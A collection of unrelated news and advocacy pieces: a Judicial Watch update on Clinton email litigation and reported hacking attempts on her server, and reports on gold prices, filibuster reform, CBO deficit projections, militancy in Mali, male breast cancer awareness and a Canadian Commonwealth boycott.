about the general use of unapproved or unclassified Blackberries, and, if she did read the memorandum, why did she continue using an unapproved or unclassified Blackberry – the device by which [she] accessed the clintonemail.com account she used to conduct official government business. A yes or no answer to whether she read the memorandum will not reveal any information the parties’ agreed-upon scope sought to avoid. Similarly, if the answer is yes, Secretary Clinton’s explanation as to why, after reading the memorandum, she continued to access her clintonemail.com account through her Blackberry also will not reveal any information the parties’ agreed-upon scope sought to avoid. The interrogatory clearly seeks information squarely within the scope of permitted discovery. Secretary Clinton should be compelled to answer Interrogatory 14.  Interrogatory 24 asks: During your October 22, 2015 appearance before the U.S. House of Representatives Select Committee on Benghazi, you testified that 90 to 95 percent of your emails “were in the State’s system” and ‘if they wanted to see them, they would certainly have been able to do so.’ Identify the basis for this statement, including all facts on which you relied in support of the statement, how and when you became aware of these facts, and, if you were made aware of these facts by or through another person, identify the person who made you aware of these facts.  Secretary Clinton objected to Interrogatory 24 and asserted that the interrogatory asked for information protected by the attorney-client privilege. In our motion to compel, we argue:  Interrogatory 24 does not seek any factual information Secretary Clinton may have provided to her attorneys in confidence for purposes of obtaining legal advice. Nor does it seek any advice Secretary Clinton’s attorneys may have provided the secretary that would reveal facts she provided them in confidence. The interrogatory only seeks the factual basis for a specific representation Secretary Clinton made to Congress. It is irrelevant whether Secretary Clinton told her attorneys about the factual basis for this representation, either for purposes of obtaining legal advice or for some other purpose, because Plaintiff has not asked about any such communications. As a result, the attorney client privilege does not apply.  ***  Because Secretary Clinton has failed to provide any such information to justify her assertion of the attorney client privilege, she should be compelled to answer Interrogatory 24.  By refusing to answer our simple questions, Hillary Clinton is obstructing Judicial Watch’s efforts to get basic information about her email practices. Because she has not – and cannot – demonstrate that her refusal to answer our questions is proper, Hillary Clinton should be required by the court to answer them promptly.  The Clinton responses to interrogatives were received in the Judicial Watch Freedom of Information Act (FOIA) lawsuit before the U.S. District Court for the District of Columbia, which was first filed in September 2013 seeking records about the controversial employment status of Huma Abedin, former deputy chief of staff to Clinton (Judicial Watch v. U.S. Department of State (No. 1:13-cv-01363)). The lawsuit was reopened because of revelations about the clintonemail.com system.  In the same cases we also filed another Motion to Compel against John Bentel, former State Department Director of Information Resource Management of the Executive Secretariat, to answer 87 questions asked of him during his October 24 Judicial Watch deposition concerning former Secretary of State Hillary Clinton’s non-state.gov email system. At the deposition, Bentel answered each of the questions, “On advice from my legal counsel, I decline to answer the question and I invoke my Fifth Amendment rights.” Judicial Watch’s court filing refutes Bentel’s claim for Fifth Amendment self-incrimination protection, arguing:  Mr. Bentel has invoked his Fifth Amendment rights without providing any justification whatsoever. He has not identified – let alone demonstrated – a fear of prosecution in answering any of the 87 questions asked of him during his deposition. Nor has he demonstrated any such fear is more than fanciful or merely speculative. Mr. Bentel has not provided Plaintiff or the Court with any pertinent information to allow it to assess the validity of the invocation for each of the 87 questions Mr. Bentel declined to answer.  Judge Sullivan allowed us to depose Bentel in the first place, in part, because of his notable appearance in a May 2016 Inspector General’s report that found:  Mr. Bentel told employees in his office that Secretary Clinton’s email arrangement had been approved by the State Department’s legal staff and also instructed his subordinates not to discuss the Secretary’s email again: In one meeting, one staff member raised concerns that information sent and received on Secretary Clinton’s account could contain Federal records that needed to be preserved in order to satisfy Federal recordkeeping requirements. According to the staff member, the Director stated that the Secretary’s personal system had been reviewed and approved by Department legal staff and that the matter was not to be discussed any further. . . . According to the other S/ES-IRM staff member who raised concerns about the server, the Director stated that the mission of S/ES-IRM is to support the Secretary and instructed the staff never to speak of the Secretary’s personal email system again.  It should disturb Americans that yet another Clinton IT official asserted the Fifth Amendment rather than answer straight-forward questions about Clinton’s email scheme. You can see why this Clinton email scandal will continue long after Election Day.  More Clinton-Abedin Email Exchanges of Classified Information on Unsecure Server  It is by now abundantly clear that former Secretary of State Hillary Clinton was not telling the truth when she said the “personal emails” she “did not keep” were about mundane topics such as yoga sessions and wedding plans.  This week we released 323 pages of Department of State documents, including previously unreleased email exchanges in which Clinton and top aide Huma Abedin sent classified information over Clinton’s clintonemail.com unsecure email system. According to Freedom of Information Act (FOIA) exemptions cited in the documents, three of the email exchanges contained material “classified to protect national security.”  Also included in the newly obtained documents is an additional instance of the State Department doing special favors for a high-dollar Clinton Foundation donor. And the documents include instances of the distribution by State Department officials of Clinton’s government schedule to members of the Clinton Foundation staff.  The documents contain emails not previously turned over to the State Department, bringing the known total to date of such emails uncovered by Judicial Watch to 238 new Clinton emails (not part of the 55,000 pages of emails that Clinton turned over to the State Department). These records further appear to contradict statements by Clinton that, “as far as she knew,” all of her government emails were turned over to the State Department.  The new records include three separate Clinton-Abedin email exchanges withheld in part from Judicial Watch under the State Department’s “B1” FOIA exemption, applying to “information that is classified to protect national security”:  From: sbwhoeop[Redacted] To: H: Sent: Thu Oct 08 [8:08:03] 2009 Subject: Fw: Memo on latest N.I. negotiations; yr trip; from Shaun W Sid CONFIDENTIAL October 8, 2009 For: Hillary From: Sid Re: Latest/N. Ireland After five hours of talk at Downing Street tonight, Thursday, October 8, Shaun Woodward tells me that it seems Gordon Brown has brokered a financial package with Peter Robinson and Martin McGuinness that may in turn break the deadlock of devolution of policing and justice. They have covered the major issues in stage two in their discussions. On Monday, Brown will formally set out the details in a letter to Robinson and McGuinness. Gordon will share these with you when you meet with him on Sunday at Chequers. Shaun says that both Robinson and McGuinness, subject to some minor details, should be in a position to recommend to Unionists and Nationalists that this is a strong deal. The letter will confirm the details. [Redacted due to information “kept secret in the interest of national defense or foreign policy;” “foreign relations or foreign activities of the US, including confidential sources”] I hope that’s right. From: H To: Huma Abedin Sent: Thu Oct 08 [8:08:04] 2009 Subject: Fw: Memo on latest N.I. negotiations; yr trip; from Shaun W Sid Pls print. Sent: Thursday, October 08, 2009 8:10:04 PM To: Humamabedin[Redacted] Subject: Fw: Memo on latest N.I. [Northern Ireland] negotiations; yr trip; from Shaun W Sid Attachments: hrc memo n. ireland 100809.docx *** From: sbwhoeop[Redacted] To: H Sent: Sun Oct 11 [8:46:43] 2009 Subject: Memo on your speech meeting on Monday, Sid CONFIDENTIAL October 11, 2009 For: Hillary From: Sid Re: Your speech and meeting on Monday I have not seen your speech obviously that you will deliver Monday morning at Stormont. Shaun tells me that it’s a good speech, and you’re right not to instruct the parties what to do but to encourage them to address why completing devolution needs to be done [Redacted due to information “kept secret in the interest of national defense or foreign policy;” “foreign relations or foreign activities of the US, including confidential sources”] That’s it. From: H To: Huma Abedin Sent: Monday Oct 12 02:06:15 2009 Subject: Fw: H: Memo on your speech meeting on Monday, Sid Pls print From: Huma Abedin [Huma@clintonemail.com] Sent: Monday, October 12, 2009 2:11:38 AM To: humamabedin[Redacted] Subject: Fw: H: Memo on your speech meeting on Monday, Sid Attachments: hrc memo ni [sic] meeting 101209 docx *** From: H HDR22@clintonemail.com To: Sullivan, Jacob J Sent: Sun Oct 25 11:13:17 2009 Subject: Re: Honduras First, Tom’s travel date hasn’t been set – will be Tuesday or Wednesday we think. He is coordinating with Don Restrepo to see if they can go together [Redacted due to information “kept secret in the interest of national defense or foreign policy”] So that’s where we are. We’ll have more to report tomorrow. *** From Sullivan, Jacob J SullivanJJ@state.gov To: H Sent: Sun Oct 25 [11:49:45] 2009 Subject: Re: Honduras Sounds good. There will be those who take a hard line on the elections, but perhaps some fence-sitting countries could be persuaded on conditional recognition. I’ll flag it for Tom and Craig. From: H To: Huma Abedin Sent: Mon Oct 26 07:27:12 2009 Subject: Fw: Honduras All of this did not print last night, It stopped after Fourth! [Redacted due to information “kept secret in the interest of national defense or foreign policy;” “foreign relations or foreign activities of the US, including confidential sources”] [Emphasis added] From: Huma Abedin [Huma@clintonemail.com] Sent: Monday, October 26, 2009 8:06:12 AM To: humaabedin [Redacted] Subject: Fw: Honduras  The emails also include an exchange between Abedin, Clinton personal assistant Lauren Jiloty, and Iris Anaya, the assistant to sugar magnate and Clinton Foundation donor Alfonso Fanjul concerning a request for special access to Clinton. On October 13, 2009, Anaya emailed Abedin seeking to arrange a meeting between Fanjul, the CEO of Florida Crystals, and Clinton. Jiloty responded the next day, asking that Anaya talk with Clinton scheduler Lona Valmoro about “setting up a meeting.” Fanjul donated more than $100,000 to the Clinton Foundation and was a Bill Clinton co-chairman in Florida.  In an October 26, 2009, email exchange, power attorney and Hillary Clinton financial supporter Charlie Ann Syprett contacted Doug Band, apparently seeking help in getting around U.S. Office of Foreign Asset Control (OFAC) restrictions on U.S. citizens’ ability to travel to Cuba. Syprett ostensibly wanted a waiver from the restrictions to enable people from her organization, SYC Charitable Foundation, to travel to Cuba, noting “we are not asking for something out of the ordinary.”  The emails also show that Valmoro sent Clinton’s government schedule to the unsecure email addresses of numerous members of the Clinton Foundation staff on October 16, 2009, again on October 18, 2009, and on October 25, 2009. The emails also include discussions of personnel matters and appointments on Clinton’s unsecure account, which may run afoul of federal privacy law.  This is the thirteenth set of records produced for Judicial Watch by the State Department from the non-state.gov email accounts of Huma Abedin. The documents were produced under a court order in a May 5, 2015, Freedom of Information Act (FOIA) lawsuit against the State Department requiring the agency to produce “all emails of official State Department business received or sent by former Deputy Chief of Staff Huma Abedin from January 1, 2009 through February 1, 2013, using a ‘non-state’.gov email address” (Judicial Watch, Inc. v. U.S. Department of State (No. 1:15-cv-00684)). Previous records releases documented special Clinton State Department consideration for Clinton Foundation supporters (see here, here, and here.)  We’ve once again uncovered classified information in Hillary Clinton’s and Huma Abedin’s emails. It is frankly remarkable that the FBI and Justice Department are only now investigating Abedin’s connection to Clinton’s mishandling of classified information.  Emails Detail Attempts to Hack Clinton Server; U.S. Secret Service Informed  One danger to America as a result of the classified information on Clinton’s illicit system is this: We know that attempts were made by unknown parties to hack their private email accounts.  Consider:  This week we released State Department documents detailing repeated efforts to hack into the unsecure non-state.gov email system used by former Secretary of State Hillary Clinton in November 2010. The hacks are detailed in email exchanges between State Department IT official Brian Pagliano and Bill Clinton aide Justin Cooper. The emails show the system was hacked 10 times in two days from November 27 to 29.  The documents also reveal that Pagliano warned Cooper that because of an outside service vendor relied upon by the Clinton system, “we’d be susceptible to such an attack.” Cooper subsequently informed the U.S. Secret Service of the attempted hacks, providing agents with each of the ten reports and summaries Pagliano had provided him.  The new documents were among the nearly 15,000 Clinton emails discovered by the FBI, and obtained in response to an April 8, 2016, federal court order directing the Department of State to begin producing materials for Judicial Watch in response to a September 3, 2015 Freedom of Information Act (FOIA) lawsuit (Judicial Watch, Inc. v. U.S. Department of State (No. 1:15-cv-01441)). The lawsuit was filed after State failed to comply with an August 5, 2015 FOIA request seeking information about Bryan Pagliano’s involvement with Clinton’s email system.  The ten emails from Pagliano alerting Cooper to the apparent hacking attempt began on the morning of Saturday, November 27, 2010, and continued through Monday, November 29. Each of the ten alerts contained the same message, apparently from the cyber security firm Symantec: “There was a failed logon attempt logged on the server. To check who it was log onto the server and double click on the toolbox icon labeled Failed_Logon_Attempt….”  On both November 29 and November 30, Pagliano sent Cooper emails detailing the attempted hack:  From: Bryan Pagliano To: Justin Cooper Sent: Monday, Nov 29 10:48:31 2010 Subject: Re: So, to update you… The failed logon attempts on the 27th were for username doug and dougband, the failed logon attempts on the 29th were for username huma. Would be useful to know if it was them who tried to log in… *** From: Bryan Pagliano Date: November 30, 2010 12:22:55 AM EST To: Justin Cooper Subject: Re: Weird, looks like the attack came from 208.67.222.222 and started at around 5pm. It’s a company called OpenDNS, they are a fairly reputable organization. The traffic seems to have cleared up at about 11:50pm. I wonder if they had someone launching an attack from their servers. That may explain the DNS issue we had earlier. Might have been an injection attack [NOTE: most common and successful attacks on the internet due to their numerous types, large attack surface, and the complexity required to protect against them]. We use their servers to resolve external websites for both the sbs and blackberry server so we’d be susceptible to such an attack. [Emphasis added]  Later on November 30, Cooper sent the entire email exchange with Pagliano to the Secret Service. Before providing Judicial Watch with Cooper’s email reports, the State Department redacted the identity of Cooper’s intended recipient with the notation “REFERRED FOR CONSULTATION – USSS.” The State Department redacted the recipient under a “B7 (C)” FOIA exemption, which is “Law enforcement information whose disclosure would constitute an unwarranted invasion of personal privacy.”  These newly released emails show that the Clinton email server was subject to an aggressive and targeted hacking attempt. And we now know that yet another government agency, the United States Secret Service, not only knew about the Clinton email system but that it was the target of hacking. The Clinton email scandal has now widened to yet another Obama administration agency.  We Will Be Watching Virginia Polls on Election Day  Our Election Integrity Project, headed up by Robert Popper, former deputy chief of the Voting Section in the Civil Rights Division of the Department of Justice and a veteran poll observer for the Department f Justice, will be monitoring the polls in Virginia on election day.  Popper has been training volunteer poll observers for the task. We have good reason to worry about the integrity of voting in Virginia. As just on example, 1,046 aliens, or residents who are not U.S. citizens, were on the voter rolls in 8 Virginia counties. If that rate of non-citizen registration held in the rest of Virginia’s counties — that would mean about 6,500 non-citizens are registered to vote in Virginia.  We have been at work in other states, as well. Recent polls show that voters are becoming “deeply skeptical” about election integrity. Of course, we will be alert for election fraud nationwide on Tuesday.  The right to vote is a key tool Americans have to exercise control and oversight over our government. Your right to vote is precious and not available in any significant way to billions across the world. So if you can, please vote on Election Day.
-* Rising U.S. bond yields hit gold's appeal * Scaled back Fed bond buys possible in 2013 * SPDR Gold exchange-traded fund holdings at 4-year low (Adds details on China's rates, technicals; updates prices) By Frank Tang and Jan Harvey NEW YORK/LONDON, June 20 (Reuters) - Gold plunged over 5 percent to its lowest in three years on Thursday, leading a global market rout one day after the U.S. Federal Reserve gave its most explicit signal yet it plans to wind down the era of easy money. Losses snowballed throughout the day, triggering technical selling below key support at $1,320 an ounce and culminating in one of bullion's biggest routs since the 2008 economic crisis. Technical analysts said prices might have to fall another 6 percent before finding new support at $1,200. Signs of financial stress in China added to the pressure, with China's shortest-term rates hitting record highs as the central bank ignored market pressure to inject funds into the market, despite new evidence that the world's second-largest economy is slowing. But the primary impetus was Fed chief Ben Bernanke's remarks on a possible scale back of the stimulus program later this year, which spurred a surge in benchmark U.S. bond yields that drove gold deeper into bear market territory. Silver plunged nearly 8 percent. U.S. stocks fell 2.5 percent and oil tumbled 4 percent. "People had been going into gold, commodities and equities because the bond yields were so low. Now, with bond yield rising we are beginning to see liquidation out of gold and into cash," said Jeffrey Sica, chief investment officer at Sica Wealth which oversees over $1 billion in clients' assets. Bullion, a non-yield bearing asset and a traditional inflation hedge, tends to be particularly sensitive to interest rate changes compared with other riskier assets such as equities. Spot gold was down 5.2 percent at $1,280.54 an ounce by 4:28 p.m. EDT (2028 GMT), having hit $1,276.19, which marked its lowest level since Sept. 21, 2010. The Thomson-Reuters/Jefferies CRB commodities index dropped 3 percent, while benchmark U.S. 10-year bond yields rose to the highest levels since August 2011, with few signs of when the trend will end. U.S. Comex gold futures for August delivery settled down $87.80 an ounce at $1,286.20, with trading volume already surpassing 360,000 lots, on what might be the highest daily turnover in nearly a month, preliminary Reuters data showed. Gold is now more than 30 percent below its record high of $1,920.30 an ounce, set in September 2011. CHART SHOWS MORE LOSSES POSSIBLE Analysts said gold is on weak technical ground, with few levels to support prices until they go below $1,200 an ounce, after its sharp pullback to a near three-year low on Thursday. GRAPHIC: link.reuters.com/jar98t Spot gold's 14-day relative strength index dropped to 25, below 30, which marks the area traditionally seen as over-sold territory. Some analysts said, however, that gold could benefit should the U.S. economy worsen or not improve fast enough, prompting the Fed to suspend plans to taper monetary stimulus. "Weaker data in the coming months could push back unwinding, lower yields and thereby support gold," said James Steel, chief precious metals analyst at HSBC. Signs of the end of the Fed's mortgage-bond buybacks known as quantitative easing, the single-most important driver of gold, have helped push prices down more than 20 percent this year after 12 straight years of gains. Heavy selling by institutional investors also showed no signs of abating. Bullion holdings in the world's biggest gold exchange-traded fund SPDR Gold Trust fell 0.2 percent to their lowest in four years. Silver was the biggest decliner among the precious metals, sliding nearly 8 percent to $19.64 an ounce, having hit a low of $19.58 an ounce, its weakest since September 2010. Platinum dropped 3.6 percent to $1,359.50 an ounce, while spot palladium slid 4.7 percent to $661.25 an ounce. 4:28 PM EDT LAST/ NET PCT LOW HIGH CURRENT SETTLE CHNG CHNG VOL US Gold AUG 1286.20 -87.80 -6.4 1275.40 1351.20 347,943 US Silver JUL 19.823 -1.800 -8.3 19.535 21.280 116,037 US Plat JUL 1363.80 -60.10 -4.2 1355.20 1419.20 23,244 US Pall SEP 665.10 -31.30 -4.5 660.65 695.50 6,757 Gold 1280.54 -70.15 -5.2 1277.03 1351.06 Silver 19.640 -1.670 -7.8 19.580 21.330 Platinum 1359.50 -50.50 -3.6 1359.50 1416.74 Palladium 661.25 -32.75 -4.7 664.25 693.00 TOTAL MARKET VOLUME 30-D ATM VOLATILITY CURRENT 30D AVG 250D AVG CURRENT CHG US Gold 367,191 210,063 180,458 26.09 4.36 US Silver 163,325 55,038 56,645 32.3 1.07 US Platinum 28,563 13,464 11,737 21.9 -0.01 US Palladium 6,826 6,451 5,566 (Additional reporting by Veronica Brown in London.; Editing by Jane Baird and Bob Burgdorfer and Andre Grenon)
-"We have now stood democracy on its head,” Senator Tom Harkin said. Filibuster reform still up in the air  One of the fiercest proponents of filibuster reform says the question isn’t, “What’s the purpose of the filibuster?” Rather it’s: “What has the filibuster become?”  “It has become a means whereby the minority of the Senate dictates what we can and cannot do. And we have now stood democracy on its head,” Sen. Tom Harkin said Tuesday. The Iowa Democrat has spent the past 15 years trying to scale back the power of the filibuster.  Story Continued Below  “A small minority of the Senate now gets to decide what happens in this country.”  Democratic and Republican leaders have been working through the January recess on a non-binding compromise to improve the way the Senate does business. And New York Sen. Chuck Schumer, who heads policy and messaging for Democrats, said he’s continued to hold talks with Tennessee Sen. Lamar Alexander, the No. 3 Republican in the Senate.  “There is strong belief on our side that the filibuster has been abused, but there’s almost universal agreement that a bipartisan solution is best, and we are still working towards that,” Schumer said in a statement.  But if both parties fail to reach a deal before senators return to Washington next Tuesday, the chamber likely will take up a rules reform package offered by Harkin and fellow Democratic Sens. Tom Udall of New Mexico and Jeff Merkley of Oregon.  Even in the middle of the two-week recess, the trio of Democrats was on a conference call with reporters trying to build support for their plan.  Udall said he’s anticipating “several days” of debate, though he wouldn’t say whether he has secured the 51 votes required to pass the plan. Fifty-three senators caucus with Democrats, not but all support the proposal.  “We’re working it hard,” Udall said.  Proponents believe they only need a simple majority of senators – rather than the usual two-thirds margin – to adopt the changes, something they say is allowed under the Constitution on the first legislative day of the session. That applies in this case, backers say, since Senate Majority Leader Harry Reid (D-Nev.) extended the first legislative day of the 112 th Congress through at least next Tuesday.  Republicans have balked at the Democratic push to change the rules, with Minority Leader Mitch McConnell (R-Ky) dismissing it as an attempt to “nullify” last November’s election and make it easier for the majority to advance its agenda.  But Democrats say the changes are needed to fix a broken Senate that, under the constant threat of a filibuster, has failed to perform its most basic functions: pass budget and appropriations bills, fund the government and confirm executive nominees.  “The Senate has really left those historical roots,” Udall said.  The Democratic reform package, unveiled two weeks ago, would end the use of filibusters on procedural votes and require “talking filibusters,” in which senators would have to speak continuously on the Senate floor if they want to block legislation or a nomination. Nowadays, the threat of a filibuster is enough to halt Senate action.  The plan also would cut debate time on nominees after a cloture vote to just two hours from 30 hours, allowing the Senate to get more nominations to the floor. And it would eliminate “secret holds,” a senator’s right to anonymously block a nominee or bill.  The package does provide a provision guaranteeing the minority party the ability offer germane amendments to bills, an olive branch to Republicans who have criticized Reid for “filling the tree” and blocking them from offering amendments to legislation.  “We wouldn’t do anything if we didn’t feel minority rights would be protected,” Udall said.
-Obama’s tax and spending policies will yield $6.4 trillion in deficits over the next decade. CBO: Exploding debt under Obama  The Congressional Budget Office said Friday that President Barack Obama’s tax and spending policies will yield $6.4 trillion in deficits over the next decade, more than double the shortfall in CBO’s own fiscal baseline — even after taking credit for reduced war costs.  House Republicans, slated to unveil their own plan next week, are sure to seize on the numbers, yet the mountain of data gives reason for both parties to pause going into what’s expected to be a major fiscal crisis after the November elections.  Story Continued Below  The GOP has been quick to fault Obama for excess spending. But more than three-quarters of the $3.5 trillion in added red ink can be explained by what is still a rich diet of tax breaks continued by the president — but not under the CBO’s baseline.  (See also: CBO's estimate of repealing IPAB is a head-scratcher)  Indeed, in the case of discretionary appropriations, CBO scores the president as coming in about $4 billion under the $1.047 trillion target set by the Budget Control Act last summer. And within these confines, the biggest discrepancy is that his budget is $2 billion over the caps for security programs at the expense of domestic priorities.  Administration officials Friday took heart that CBO credited Obama’s plan with bringing future deficits down to 3 percent of GDP. In fact, the $6.4 trillion cumulative 10-year shortfall shown by CBO is under the $6.7 trillion forecast by the White House in its own documents in February. And measured against a rough proxy for current policy, the report lends at least partial support to the White House claim of up to $4 trillion in deficit reduction over 10 years.  “CBO found that by 2016 deficits as a share of the economy would be below 3 percent – a key milestone of fiscal sustainability,” said Jeff Zients, director of the Office of Management and Budget. “It found that after implementing the president’s budget, debt held by the public will decrease and then stabilize as a share of the economy, also a key indicator of improving fiscal health.”  But all these deficit reduction numbers come with some important caveats regarding how to treat hundreds of billions in war savings as well as automatic spending cuts due to take effect in January. And even if Obama were to get his way on all fronts, the outlook remains grim.
-A cellphone photo of Moussa Konaté, a security guard at the Radisson Blu Hotel in Bamako, Mali, who was killed by extremists after he helped guests escape an attack on Nov. 20, 2015. (Jane Hahn/For The Washington Post)  Two years after French troops drove jihadist forces from northern Mali, a deadly attack on a luxury hotel has raised concerns that Islamist extremists are gaining ground again in this volatile country, despite a new peace accord among domestic rebel groups.  While Malian and U.N. officials point to the peace agreement as a potential milestone in pacifying the lawless, Arab-dominated north, they also worry that violence could surge again. The weak central government is struggling with a host of challenges: entrenched poverty, drug smuggling, and a mix of growing competition and collaboration among Islamist factions in the West African region.  “Mali today is as fragile as it was before the coup in 2012,” said Peter Pham, director of the Africa Center at the Atlantic Council in Washington, referring to the military power grab that occurred as a rebellion in the north gained strength. France intervened the following year, after Islamist fighters seized control of a large chunk of territory.  “The French may have prevented an Islamist takeover, but you can’t rebuild a hollowed-out state in two years,” Pham said. “The borders are fictional, and there is a fluid and permeable dynamic among jihadist, rebel and criminal groups in the region. We are still playing Whac-A-Mole.”  [Mali’s president declares state of emergency after hotel attack]  Few people predict that this nation of 17 million people will become an Islamist beachhead again. But both Malian and foreign observers worry that extremist groups based in surrounding countries could still create turmoil, by capitalizing on domestic discontent here and on the momentum from recent terrorist attacks in Paris and elsewhere.  Two jihadist groups have asserted responsibility for last week’s attack on the Radisson Blu Hotel, which left at least 20 people dead in the bustling capital, hundreds of miles from the vast desert region where Islamist militias normally operate. Experts differ on the possible motive, with U.N. officials insisting the attack was an effort to derail the peace talks and others suggesting it was part of a new muscle-flexing rivalry between pro-al-Qaeda and pro-Islamic-State groups in the region.  There also are conflicting opinions about the best way to contain the possible comeback of Islamist extremism after two years of rule by the government of President Ibrahim Boubacar Keïta, which is widely described as democratic but sluggish and corrupt.  Some look to the 8,000-member Malian army to enforce security, although it is thinly spread and in dire need of reform and training as well as equipment and funding, analysts say. Others say the key lies in quickly bringing development, services and jobs to the long-abandoned north, calling this the only way to prevent large numbers of unemployed young Muslim men — as well as older ex-rebels from various tribal separatist groups — from being recruited by well-financed jihadist groups.  “It is a great achievement that the combatant groups have been brought together and speak with one voice, but we need to bring peace dividends — water, electricity, roads, schools — so the population sees peace making a difference in their lives,” Mongi Hamdi, the U.N. special representative for Mali, said in an interview. “That is the glue that will keep people attached to peace.”  Mali is heavily dependent on the international community for security and economic survival. A U.N. peacekeeping force with more than 10,000 troops is stationed here, and a smaller French counterterrorism force has been based here since 2013. Large amounts of development aid have come from the United States, France and other countries. Some critics say the funding has been partly wasted through corruption, but Hamdi and others argue that even more is needed to reinforce the writ of the state in conflict areas.  Until now, Mali has been viewed largely as suffering from the predations of extremist groups spawned in neighboring countries. Libyan militants thronged into northern Mali after dictator Moammar Gaddafi was overthrown in 2011, and a notorious Algerian jihadist leader named Mokhtar Belmokhtar formed the group al-Mourabitoun that most experts believe planned the Nov. 20 hotel attack.  The Washington Post’s Kevin Sieff talks about the extremist threat in West Africa and why the U.N. peace keeping mission there is now the agency’s most dangerous. (Kevin Sieff and Jason Aldag/The Washington Post)  In recent months, experts said, the regional jihadist constellation has changed. At least one new group in Mali, the Massina Liberation Front, has emerged with possible outside help; it was one of the groups that claimed to have carried out the hotel attack. As the Islamic State has begun to eclipse al-Qaeda in its global reach, smaller jihadist groups in the area have reportedly shifted or cemented alliances with one side or the other.  Several international officials and experts said that what happens in Mali in the coming months could reinforce either modernizing or more extreme trends in the region.  “Mali is at center stage now. It is a huge country that borders seven others, and it can influence all of them,” Hamdi said. “The international community needs to take the situation more seriously. If Mali is lost, it will change the mind-set of the region. Then the bloodthirsty barbarians will start attacking everywhere.”  A former French colony whose population is 95 percent Muslim, Mali has a tradition of moderate Islamic values mixed with Christian influence. But government corruption and neglect have soured many Malians on secular politics, several experts said.  “We have a secular state and constitution, but people resent bad governance and corruption,” said Adam Thiam, a columnist for Le Républicain newspaper here. “Why do we have jihad? Because we are trying to build a modern state without the consent of the people. If there is not more international vigilance over the corrupt state system, we are going to see more human bombs.”  A separate problem that also has become intertwined with violence and religious extremism in Mali is a thriving drug trade. Each month, millions of dollars in cocaine, hashish and other drugs arrive in Mali from global producers in places such as Colombia and Southeast Asia, and are smuggled north into Algeria and beyond. The trade involves armed rebel groups as well as jihadist militias, which use the profits to pay fighters and buy weapons.  [Anita Datar is the only known American killed in Mali. She was there to help.]  “Drugs are at the heart of instability in the north. The smugglers don’t want peace because it interrupts their business, and if we don’t stop that business, stability will never last,” said an international official here who spoke on the condition of anonymity because he is not authorized to talk to the news media.  Taken together, this array of problems — new rivalries and alignments emboldening jihadist attackers, popular disillusionment with the government, lack of resources to shore up the promises of peace in the north, entrenched criminal networks and signs of spreading ultraconservative Islamist influence — threaten to undermine the hopeful moment created by the peace accords signed in June.  “There is still a positive peace dynamic, but the state is weak and corrupt, and we have only had a democratic government for two years,” said Mahamadou Camara, a magazine editor and former press official in the Keïta administration. “The greatest risk we face today is that the positive momentum will reverse into a new spiral of violence.”  Read more:  Malians defy the threat of terror  Five things you should know about Friday’s terrorist attack in Mali  Anita Datar is the only American killed in the Mali attack. She was there to help.
-Margaret and Gerard Campion work to raise awareness for male breast cancer after both husband and wife were diagnosed with the disease.  Gerard and Meg Campion shared their lives for decades raising two daughters in Connecticut, but the husband and wife never expected that a life spent together would also mean sharing diagnosis of breast cancer.  In 2006, Gerard Campion was diagnosed first with the disease after spotting a tiny “blister”-like bump on his chest.  “It was obviously shocking. I think my first thought was, 'he’s not supposed to have this, I am,'" Meg Campion recalled of hearing her husband’s diagnosis.  Why Are Justin Bieber’s Fans Mad at Selena Gomez?  Scientists Make a Million Dollar Bet Who Will Die Last  She said the reason he even went in for his first diagnosis was because a friend had been diagnosed with male breast cancer and they knew a little bit about the signs. After surgery and chemotherapy, the family thought their ordeal with cancer was over.  It wasn't.  Three years later, Meg Campion received her own diagnosis of breast cancer.  Her cancer, called ductal cell carcinoma in situ, had not spread and was able to be treated with radiation and surgery. Meg Campion said during both of these diagnosis the couple sometimes kept their emotions in check in order to be strong for the other one.  “We didn’t want to upset the other one,” she said. "You kept those emotions in check. I don’t want him to worry about me. That was the exact same thing when it was my turn.”  Following two successful bouts fighting off breast cancer, it returned in 2011, unexpectedly striking Gerard Campion rather than his wife. This time, the cancer had spread to his bones -- meaning it would be incurable.  Meg Campion said they knew after two rounds of cancer, there would be no hiding feelings from one another during the difficult period.  “He’s the first to say that the cancer patient isn’t the only one with cancer. The family has cancer, too,” she said. “People have asked us, which one is [the cancer] harder on? The both of us say the spouse. The spouse is always trying to be the strong one.”  After the second diagnosis, Gerard and Meg Campion became involved with raising awareness about male breast cancer -- even lobbying the state government to declare the third week of October Male Breast Cancer Awareness week.  "He speaks at rotary clubs and Lions clubs,” she told ABC News. “Eighty percent of men don’t realize they can contract breast cancer…If it prevents one family from losing a dad or a husband, that’s why we do it.”  Additionally, Meg Campion said she and her husband hoped that by raising awareness, doctors could address male breast cancer patients directly without relying on the same pamphlets and materials given to women.  “These men need to be respected as well,” Meg Campion said. “But when your husband is handed pamphlet that says side effects of treatment can be vaginal dryness…[and is given the same five years later] your sense of humor is not there any more.”  Overall, the couple, who are now expecting two grandchildren, say the diagnosis has been “a gift” in some ways. When the couple were invited to a wedding last year in Zurich, they found a way to attend, and even expanded the trip into a tour of Italy.  “When I said it changes you, that’s how it changes you. You just all of a sudden say, 'Why not?' We’re living our life and making memories,” Meg Campion said.
-Canada should not boycott the upcoming Commonwealth meetings in Sri Lanka, former Prime Minister Brian Mulroney said Sunday.  “If you were going to boycott the Commonwealth because of illustrations of improper government or abusive treatment of people within some of the member countries, some days you wouldn’t have too many people around that Commonwealth table for tea,” Mulroney said during an appearance on CTV’s Question Period.  “There’s a lot of developing countries in there, countries with problems, and the best thing I think that we can do is be there at the table and illustrate, by our presence, the value of what we’ve learned as a country over 146 years and how we conduct ourselves with our democracy and with our generosity to friends internationally.”  Mulroney said the 53-nation Commonwealth is a powerful group and Canada should work within it to make a statement. For example, Mulroney pointed to the accomplishments of prime minister John Diefenbaker who, at the 1961 Commonwealth leaders’ meeting, denounced South Africa’s apartheid policy and joined forces with Asian and African government leaders to push through a resolution making racial equality a condition of Commonwealth membership. South Africa subsequently withdrew from the Commonwealth and was not re-admitted until its apartheid regime ended in the 1990s.  “Working within the Commonwealth, we were able to score more heavily than by sitting outside,” Mulroney said.  Prime Minister Stephen Harper announced earlier this month that he would boycott November’s Commonwealth Heads of Government meeting in Sri Lanka because of the country’s failure to investigate war crime allegations and human rights abuses during and after its civil war, which came to a bloody end in 2009.  “Canada believes that if the Commonwealth is to remain relevant it must stand in defence of the basic principles of freedom, democracy and respect for human dignity, which are the very foundation upon which the Commonwealth was built,” Harper said in a statement. “It is clear that the Sri Lankan government has failed to uphold the Commonwealth’s core values, which are cherished by Canadians.”  He also said Canada would review its financial contributions to Commonwealth programs.  Deepak Obhrai, the parliamentary secretary to the minister of foreign affairs, will attend the meetings in Harper’s absence.
